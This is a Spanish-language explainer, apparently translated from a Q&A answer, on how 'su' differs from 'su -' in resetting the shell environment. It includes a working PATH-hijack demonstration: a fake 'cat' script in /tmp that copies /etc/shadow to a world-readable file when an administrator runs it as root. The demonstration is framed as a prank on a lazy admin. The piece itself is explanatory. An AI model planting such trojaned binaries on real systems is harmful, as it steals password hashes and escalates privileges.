su -
invoca un shell de inicio de sesión después de cambiar de usuario. Un shell de inicio de sesión restablece la mayoría de las variables de entorno, proporcionando una base limpia.
su
simplemente cambia de usuario, proporcionando un shell normal con un entorno casi igual al del usuario anterior.
Imagínese, usted es un desarrollador de software con acceso de usuario normal a una máquina y su administrador ignorante simplemente no le dará acceso de root. Vamos a (con suerte) engañarlo.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Ahora, pregúntele a su administrador por qué no puede cat
el archivo ficticio en su carpeta de inicio, ¡simplemente no funcionará!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Si su administrador no es tan inteligente o simplemente un poco perezoso, podría venir a su escritorio y probar con sus poderes de superusuario:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
¡Guau! ¡Gracias, superadministrador!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Él, él.
Tal vez hayas notado que el $PATH
dañado la variable no se restableció. Esto no habría sucedido si el administrador invocara su -
en su lugar.
su -
te registra completamente como root, mientras que su
hace que pretendas ser root.
El ejemplo más obvio de esto es que ~
es el directorio de inicio de la raíz si usa su -
, pero su propio directorio de inicio si usa su
.
Dependiendo de su sistema, también puede significar diferencias en el aviso, PATH
, o archivo de historial.
Entonces, si usted es parte de un equipo que administra un sistema y su colega le da un comando para ejecutarlo, sabrá que funcionará de la misma manera si ambos usan su -
, pero si ambos usan su
, puede haber diferencias debido a que tiene diferentes configuraciones de shell.
Por otro lado, si desea ejecutar un comando como root pero usando su propia configuración, entonces tal vez su
es mejor para ti.
Tampoco te olvides de sudo
, que tiene un -s
opción para iniciar un shell ejecutándose como root. Por supuesto, esto también tiene reglas diferentes, y cambian según la distribución que esté utilizando.
La principal diferencia es:
su - username
configura el entorno de shell como si fuera un inicio de sesión limpio como el usuario especificado, accede y utiliza las variables de entorno de los usuarios especificados,
su username
simplemente inicia un shell con la configuración actual del entorno para el usuario especificado.
Si el nombre de usuario no se especifica con su
y su -
, la cuenta raíz está implícita de forma predeterminada.